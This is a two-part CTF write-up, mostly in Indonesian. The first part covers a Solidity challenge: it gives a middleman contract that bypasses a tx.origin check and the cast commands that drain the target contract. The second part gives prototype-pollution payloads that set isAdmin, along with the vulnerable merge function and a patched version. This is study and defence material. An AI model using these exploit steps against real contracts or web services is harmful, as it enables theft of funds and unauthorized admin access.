Distract and Destroy

Problem Set:

- Diberikan dua file: `Creature.sol` dan `Setup.sol` (solidity files using foundry)
- Diberikan juga connection files sebagai berikut: { "PrivateKey": "YOUR_PRIVATE_KEY", "Address": "YOUR_ADDRESS", "TargetAddress": "YOUR_TARGET_ADDRESS", "setupAddress": "YOUR_SETUP_ADDRESS" }
- Tujuan dari attack ini untuk memanggil fungsi isSolved() pada `Setup.sol` untuk return `True`.
- fungsi return `True` jika balance dari `TARGET` sudah habis.

POC:

- `TARGET` merupakan object dari contract Creature, yang memiliki lifepoints (`uint256`) dan aggro (`address`)
- Agar `TARGET` punya balance bernilai 0, maka `lifepoints` harus bernilai 0, dan `lifepoints` berkurang lewat fungsi `attack`
- Kondisi yang harus di bypass: `_isOffBalance() {tx.origin != msg.sender}` dan `aggro != msg.sender`
- Menggunakan middleman contract kita dapat bypass `tx.origin != msg.sender`
- "Attack" pake wallet yang diberikan terlebih dahulu untuk set `aggro`, `tx.origin`, dan `msg.sender` menjadi `$ADDRESS_TARGET`: `cast send $ADDRESS_TARGET "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY`
- "Attack" middleman contract yang telah di deploy, middleman contract akan attack `$ADDRESS_TARGET` sehingga `msg.sender` berubah menjadi `$ADDRESS_MIDDLE`: `cast send $ADDRESS_MIDDLE "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY`
- Middleman.sol:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middleman {
    address public target = YOUR_ADDRESS_TARGET;

    function attack(uint256 _damage) external {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}
```

Full Attack in Order:

Exports:

- export ADDRESS_TARGET="YOUR_ADDRESS_TARGET"
- export PRIVATE_KEY="YOUR_PRIVATE_KEY"
- export RPC_URL="YOUR_RPC_CONNECTION"
- export ADDRESS_SETUP="YOUR_ADDRESS_SETUP"

Solve status:

cast call $ADDRESS_SETUP "isSolved()" --rpc-url $RPC_URL

Attack:

cast send $ADDRESS_TARGET "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY

Check Aggro Target:

cast call $ADDRESS_TARGET "aggro()(address)" --rpc-url $RPC_URL

Check Lifepoints Target:

cast call $ADDRESS_TARGET "lifePoints()(uint256)" --rpc-url $RPC_URL

Deploy Middleman Contract:

forge create Middleman.sol:Middleman --rpc-url $RPC_URL --private-key $PRIVATE_KEY --no-cache --broadcast

Deployment results:

Compiler run successful!

- Deployer: $ADDRESS_TARGET
- Deployed to: $ADDRESS_MIDDLE
- Transaction hash: $TRANSACTION_HASH

Middleman export:

export ADDRESS_MIDDLE="YOUR_MIDDLEMAN_ADDRESS"

Attack with middleman:

cast send $ADDRESS_MIDDLE "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY

Loot to obtain flag:

cast send $ADDRESS_TARGET "loot()()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY

Access flag:

http://[CHALL_URL]/flag

Something New to Learn

Foundry and solidity file and how contracts work with each other.

Contoh kasus jika vuln dieksploitasi

Agriweb

Problem Set:

- Fix backend website (`javascript`) berdasarkan eksploit berikut:

```
 data1 = {
            "favoriteCrop": "wheat",
            "experienceLevel": "intermediate",
            "farmSize": 501,
            "__proto__": {
                "isAdmin": True
            }
        }

data2 = {
        "favoriteCrop": "wheat",
        "experienceLevel": "intermediate",
        "farmSize": 501,
        "prototype": {
        "constructor": {
                "isAdmin": True
        }
        }
}
```

POC:

- Eksploit merupakan prototype pollution dan permasalahan ditemukan pada fungsi ini:

```
function deepMerge(target, source) {
  for (let key in source) {
    if (source[key] && typeof source[key] === 'object' && !Array.isArray(source[key])) {
      if (!target[key]) target[key] = {};
      deepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
```

- Akan ada suatu saat dimana fungsi deepMerge dapat menghasilkan nilai key "**proto**", "prototype", atau "constructor" yang menyebabkan attack prototype pollution secara tidak sengaja dan dapat memberikan attribute tambahan pada prototype semua object (karena diakses prototype oleh fungsi) sehingga bisa terdapat akses admin page dengan populate `isAdmin: True`.

- Solusi, kita ignore keyword tersebut:

```
function deepMerge(target, source) {
  for (let key in source) {

    // Ignore keyword __proto__, constructor, dan prototype
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;
    }

    if (source[key] && typeof source[key] === 'object' && !Array.isArray(source[key])) {

      if (!target[key]) target[key] = {};
      deepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
```

Something New to Learn

- Eksploitasi dengan prototype pollution

Contoh nyata jika vuln dieksploitasi

- Kasus: Remote Code Execution di Kibana
- Dampak: Banyak hacker dapat mengakses database elasticsearch melalui shell kibana, sehingga dapat directly access data pada elasticsearch.
- Kerugian: Karena terhubung dengan elasticsearch, kerugian dapat menyebabkan data leak sangat besar dan merugikan banyak perusahaan yang bergantung pada servis ini